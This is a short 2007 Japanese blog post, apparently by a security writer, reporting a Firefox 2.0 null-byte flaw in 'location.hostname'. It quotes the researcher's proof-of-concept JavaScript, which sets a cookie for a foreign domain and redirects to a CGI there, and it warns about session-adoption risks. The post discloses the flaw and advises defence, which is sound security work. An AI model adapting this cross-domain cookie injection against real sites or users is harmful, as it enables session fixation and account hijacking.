Firefox 2.0の脆弱性

Security 2月 15, 2007
(Last Updated On: 2007年2月15日)

Firefox 2.0にNullバイト攻撃の可能性、よくあるバイナリセーフ/非バイナリセーフの問題ですが…

https://bugzilla.mozilla.org/show_bug.cgi?id=370445

The problem lies in how Firefox handles writes to the ‘location.hostname’ DOM property. It is possible for a script to set it to values that would not otherwise be accepted as a hostname when parsing a regular URL – including a string containing \x00.

実験ページ
http://lcamtuf.dione.cc/ffhostname.html

そのページのJavaScript

function do_evil(onload) {
  if (!onload) {
    try { location.hostname='lcamtuf.dione.cc\x00www.coredump.cx'; } 
      catch (err) { alert('Failed to modify location.hostname - probably not vulnerable.'); }
  } else if (location.hostname != 'lcamtuf.dione.cc') {
    document.cookie = 'testcookie=1234; domain=.coredump.cx; path=/';
    window.location = 'http://lcamtuf.coredump.cx/ffhostname.cgi';
  }

}

JavaScriptが実行できればどのサイトのクッキーでも設定できてしまいます。かなり強力な脆弱性なので NoScript を使いましょう…
https://addons.mozilla.org/firefox/722/

備考:Session Adoptionに脆弱なサイト(外部で設定されたセッションキーを受け入れるサイト)のユーザは危険。

投稿者: yohgaki